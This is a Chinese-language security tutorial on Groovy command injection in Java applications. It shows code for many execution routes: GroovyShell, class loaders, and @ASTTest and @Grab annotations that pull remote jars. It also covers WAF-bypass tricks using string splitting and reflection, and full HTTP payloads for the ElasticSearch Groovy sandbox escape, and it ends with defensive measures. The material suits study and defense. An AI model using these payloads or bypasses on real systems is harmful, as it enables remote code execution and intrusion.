JAVA安全之Groovy命令注入刨析
字数 1535 2025-08-22 12:22:42
Groovy命令注入安全分析与防御指南
1. Groovy简介
Groovy是一种基于Java平台的动态语言,设计目标是为Java开发者提供更简洁、高效和灵活的方式来编写代码。它具有以下特点:
- 与Java语言具有良好的兼容性
- 允许在Java项目中无缝使用Groovy代码
- 提供简洁的语法和强大的功能
- 可用于脚本编写、自动化以及构建工具等多个场景
- 可以轻松地执行命令行命令
2. Groovy命令执行方式
2.1 GroovyShell执行
GroovyShell是Groovy提供的强大工具,可用于动态执行Groovy代码片段。
基本示例:
import groovy.lang.GroovyShell;
public class GroovyShellExample {
public static void main(String[] args) {
GroovyShell shell = new GroovyShell();
String script = "def runCalculator(){try{def process = Runtime.getRuntime().exec('calc.exe'); process.waitFor(); } catch (Exception e) { println 'Error:' + e.message;} };runCalculator()";
shell.evaluate(script);
}
}
执行流程分析:
- 调用
groovy.lang.GroovyShell#evaluate(java.lang.String)执行命令 - 随机生成一个ScriptName作为groovy脚本的名称
- 设置执行Groovy的命令执行为
/groovy/shell - 调用parse进行脚本解析
- 调用script.run执行脚本
2.2 本地加载执行
方式1:从本地文件加载
import groovy.lang.GroovyShell;
import groovy.lang.Script;
import java.io.File;
import java.io.IOException;
public class GroovyShellLocalRun {
public static void main(String[] args) throws IOException {
GroovyShell shell = new GroovyShell();
Script script = shell.parse(new File("src/main/java/com/groovyDemo/GroovyTest.groovy"));
script.run();
}
}
方式2:通过evaluate方法执行
shell.evaluate(new File("src/main/java/com/groovyDemo/GroovyTest.groovy"));
2.3 远程加载执行
import groovy.lang.GroovyShell;
import java.io.IOException;
import java.net.URI;
import java.net.URISyntaxException;
public class GroovyShellRemoteRun {
public static void main(String[] args) throws IOException, URISyntaxException {
GroovyShell shell = new GroovyShell();
shell.evaluate(new URI("http://127.0.0.1:8888/GroovyTest.groovy"));
}
}
2.4 MethodClosure执行
MethodClosure是Groovy中的一个类,允许将方法与特定对象绑定在一起。
示例1:
import org.codehaus.groovy.runtime.MethodClosure;
public class MethodClosureRun {
public static void main(String[] args) throws Exception {
MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
mc.call("calc");
}
}
示例2:
import org.codehaus.groovy.runtime.MethodClosure;
public class MethodClosureRun2 {
public static void main(String[] args) {
MethodClosure methodClosure = new MethodClosure("calc", "execute");
methodClosure.call();
}
}
2.5 GroovyScriptEngine执行
GroovyScriptEngine可用于动态加载和执行Groovy脚本,支持从本地文件系统或远程位置加载脚本。
本地加载方式1:
import groovy.util.GroovyScriptEngine;
public class GroovyScriptEngineRun {
public static void main(String[] args) throws Exception {
GroovyScriptEngine scriptEngine = new GroovyScriptEngine("src/main/java/com/groovyDemo");
scriptEngine.run("GroovyTest.groovy", "");
}
}
本地加载方式2(通过Binding):
import groovy.lang.Binding;
import groovy.util.GroovyScriptEngine;
public class GroovyScriptEngineRun2 {
public static void main(String[] args) throws Exception {
GroovyScriptEngine scriptEngine = new GroovyScriptEngine("");
scriptEngine.run("src/main/java/com/groovyDemo/GroovyTest.groovy", new Binding());
}
}
远程加载:
import groovy.lang.Binding;
import groovy.util.GroovyScriptEngine;
public class GroovyScriptEngineRun3 {
public static void main(String[] args) throws Exception {
GroovyScriptEngine scriptEngine = new GroovyScriptEngine("http://127.0.0.1:8888/");
scriptEngine.run("GroovyTest.groovy", "");
}
}
2.6 GroovyClassLoader执行
GroovyClassLoader可用于动态加载和编译Groovy类。
字符串加载:
import groovy.lang.GroovyClassLoader;
public class GroovyClassLoaderRun {
public static void main(String[] args) throws Exception {
GroovyClassLoader groovyClassLoader = new GroovyClassLoader();
String groovyCode = "class CalculatorOpener { void openCalculator() { try { Runtime.getRuntime().exec(\"calc.exe\"); } catch (Exception e) { e.printStackTrace(); } } }";
Class<?> calculatorOpenerClass = groovyClassLoader.parseClass(groovyCode);
Object calculatorOpenerInstance = calculatorOpenerClass.getDeclaredConstructor().newInstance();
calculatorOpenerClass.getMethod("openCalculator").invoke(calculatorOpenerInstance);
}
}
本地文件加载:
import groovy.lang.GroovyClassLoader;
import java.io.File;
public class GroovyClassLoaderRun2 {
public static void main(String[] args) {
GroovyClassLoader classLoader = new GroovyClassLoader();
try {
File groovyFile = new File("src/main/java/com/groovyDemo/CalculatorOpener.groovy");
Class<?> calculatorOpenerClass = classLoader.parseClass(groovyFile);
Object calculatorOpenerInstance = calculatorOpenerClass.getDeclaredConstructor().newInstance();
calculatorOpenerClass.getMethod("openCalculator").invoke(calculatorOpenerInstance);
} catch (Exception e) {
e.printStackTrace();
}
}
}
远程加载:
import groovy.lang.GroovyClassLoader;
import groovy.lang.GroovyCodeSource;
import java.io.IOException;
import java.net.URL;
public class GroovyClassLoaderRun3 {
public static void main(String[] args) throws IOException {
GroovyClassLoader classLoader = new GroovyClassLoader();
try {
URL groovyFileUrl = new URL("http://127.0.0.1/CalculatorOpener.groovy");
GroovyCodeSource codeSource = new GroovyCodeSource(groovyFileUrl);
Class<?> calculatorOpenerClass = classLoader.parseClass(codeSource);
Object calculatorOpenerInstance = calculatorOpenerClass.getDeclaredConstructor().newInstance();
calculatorOpenerClass.getMethod("openCalculator").invoke(calculatorOpenerInstance);
} catch (Exception e) {
e.printStackTrace();
} finally {
classLoader.close();
}
}
}
2.7 ScriptEngine执行
ScriptEngine支持名为groovy的引擎,可用于执行Groovy代码。
示例:
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
import javax.script.ScriptException;
public class GroovyScriptEngineExample {
public static void main(String[] args) {
ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine engine = manager.getEngineByName("groovy");
String script = "def runCalculator(){try{def process = Runtime.getRuntime().exec('calc.exe');process.waitFor();} catch (Exception e) {println 'Error:' + e.message;}};runCalculator()";
try {
Object result = engine.eval(script);
} catch (ScriptException e) {
e.printStackTrace();
}
}
}
2.8 @AST注解执行断言
使用@AST注解可以执行断言从而实现代码执行。
示例:
this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value = { assert Runtime.getRuntime().exec("calc") })
def x
''');
2.9 @Grab注解命令执行
@Grab注解允许在运行时动态引入和下载依赖的库。
利用步骤:
- 创建恶意类的jar包
public class Exp {
public Exp(){
try {
java.lang.Runtime.getRuntime().exec("calc");
} catch (Exception e) {
}
}
}
- 编译并托管jar包
- 构造Groovy脚本
this.class.classLoader.parseClass('''
@GrabConfig(disableChecksums=true)
@GrabResolver(name='Exp', root='http://127.0.0.1:1234/')
@Grab(group='test', module='poc', version='0')
import Exp;
''')
3. 文件操作
3.1 文件读取
方式1:
text = new File("C:\\Windows\\system.ini").eachLine { println it; }
方式2:
lineList = new File("C:\\Windows\\system.ini").readLines();
lineList.each { println it.toUpperCase(); }
3.2 文件写入
方式1:
new File("C:\\Users\\RedTeam\\Desktop\\SecTest\\shell.jsp").write('Hello Al1ex');
方式2:
new File("C:\\Users\\RedTeam\\Desktop\\SecTest\\shell.jsp").write("""
Good morning
Good afternoon
Good evening
""");
4. WAF绕过技巧
- 常规执行方式:
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"
- 结果回显:
println "whoami".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami"; println "${cmd.execute().text}"
- 反射调用:
import java.lang.reflect.Method;
Class<?> rt = Class.forName("java.lan" + "g.Run" + "time");
Method gr = rt.getMethod("getRun" + "time");
Method ex = rt.getMethod("exe" + "c", String.class);
ex.invoke(gr.invoke(null), "cal" + "c")
5. 实际案例:ElasticSearch Groovy沙盒绕过
5.1 Java沙盒绕过法
使用Java反射绕过沙盒:
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
HTTP请求示例:
POST /_search HTTP/1.1
Host: 192.168.189.130:9200
Content-Length: 158
{
"size":1,
"script_fields":{
"lupin":{
"lang":"groovy",
"script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"
}
}
}
5.2 Groovy直接执行
使用Groovy语言直接执行命令:
def command = "whoami";
def res = command.execute().text;
res
HTTP请求示例:
POST /_search HTTP/1.1
Host: 192.168.189.130:9200
Content-Length: 122
{
"script_fields":{
"my_field":{
"script":"def command=\"whoami\";def res=command.execute().text;res",
"lang":"groovy"
}
}
}
6. 防御措施
-
输入验证与过滤:
- 对用户输入的Groovy脚本进行严格验证
- 过滤危险函数和关键字(如Runtime、exec等)
-
沙盒限制:
- 使用Groovy沙盒限制脚本执行权限
- 禁用危险操作和系统调用
-
访问控制:
- 限制Groovy脚本的来源(仅允许可信来源)
- 禁止远程加载Groovy脚本
-
安全配置:
- 禁用不必要的Groovy功能
- 使用最小权限原则运行应用
-
代码审查:
- 定期审查使用Groovy的代码
- 检查是否有不安全的Groovy执行方式
-
依赖管理:
- 使用最新版本的Groovy和相关库
- 及时修复已知漏洞
7. 总结
Groovy作为一种强大的动态语言,在提供便利的同时也带来了安全风险。本文详细介绍了Groovy命令执行的各种方式、文件操作、WAF绕过技巧以及实际案例,并提供了相应的防御措施。在实际开发中,应谨慎使用Groovy的动态执行功能,特别是在处理用户输入时,必须实施严格的安全控制措施。